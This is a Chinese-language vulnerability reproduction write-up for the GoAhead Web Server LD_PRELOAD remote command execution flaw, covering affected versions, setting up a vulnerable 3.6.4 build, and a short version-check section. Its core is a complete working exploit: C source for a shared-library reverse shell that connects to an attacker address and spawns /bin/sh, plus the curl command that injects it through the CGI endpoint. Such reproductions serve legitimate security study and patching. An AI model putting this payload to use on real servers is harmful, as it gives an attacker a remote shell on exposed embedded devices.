一、漏洞概述:
1、漏洞简介:
GoAhead Web Server,它是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的嵌入式Web Server。
GoAhead Web Server是跨平台的服务器软件,可以稳定地运行在Windows,Linux和Mac OS X操作系统之上。GoAhead Web Server是开放源代码的,这意味着你可以随意修改Web服务器的功能。这款WEB服务器非常小巧,它的WIN CE版本编译后的大小还不到60k,它的输出通常也是面向一些小屏幕设备。在性能方面,使用一颗24MH z的68040处理器,它的响应速度为20次/秒,使用266MHz的Pentium处理器可以达到50次/秒的响应速度。
12月18日,GoAhead被爆出存在远程命令执行漏洞。被赋予CVE编号。
该漏洞是利用服务器初始化CGI时,使用了HTTP请求参数,使用特殊的参数名LD_PRELOAD劫持libc库,进而实现远程命令执行。目前GoAhead的版本已经更新到4.00版本。
2、漏洞影响版本
GoAhead Web Server < 3.6.5
不受影响版本:
GoAhead Web Server 3.6.5
GoAhead Web Server 4.0.0
二、漏洞复现
测试服务器系统:kali;监听系统:windows 10 ;攻击系统:centos 6.5
1、 在搭建GoAhead 3.6.4漏洞环境
首先获得存在漏洞版本的源码。
git clone https://github.com/embedthis/goahead.git
cd goahead
git checkout tags/v3.6.4 –q
编译GoAhead及用来测试的CGI文件
make
cd test
gcc ./cgitest.c -o cgi-bin/cgitest
运行GoAhead Web服务器
sudo ../build/linux-x64-default/bin/goahead
2、获得可以利用的payload
构造payload如下(goahead.c文件):
#include
#include
#include
#include
static void before_main(void) __attribute__((constructor));
static void before_main(void){
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(2222);
attacker_addr.sin_addr.s_addr = inet_addr("192.168.4.7");
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execve("/bin/sh", 0, 0);
}
编译成.so文件
gcc -shared -fPIC ./payload.c -o payload.so
开启端口监听,
3、使用curl发送以下payload到目标服务器
curl -X POST --data-binary @payload.so
http://IP:PORT/cgi-bin/cgitest\?LD_PRELOAD\=/proc/self/fd/0 -i | head
4、运行结果
当对服务器进行攻击时,监听端口获得服务器的最高权限,可以进行远程命令执行:
三、漏洞影响
1、通过fofa搜索结果显示:
可以看出,goahead在我国以及全球范围内,都有使用的对象,而且数量不在少数。
2、自我防护
2.1 受影响版本检测
2.1.1 该漏洞影响linux服务器上开启动态链接可执行文件的用户。如果版本低于3.6.5,输入
./goahead --version
进行手工检测。
其他防护的方法,请查看:
https://open.work.weixin.qq.com/wwopen/mpnews?mixuin=3_HVCQAABwBuIkeyAAAUAA&mfid=WW0320-5y9zoAAABwB3hPRbqL-NAQ0X-8a1c&idx=0&sn=9210071d619e1977d87e1848767dee20&from=timeline&isappinstalled=0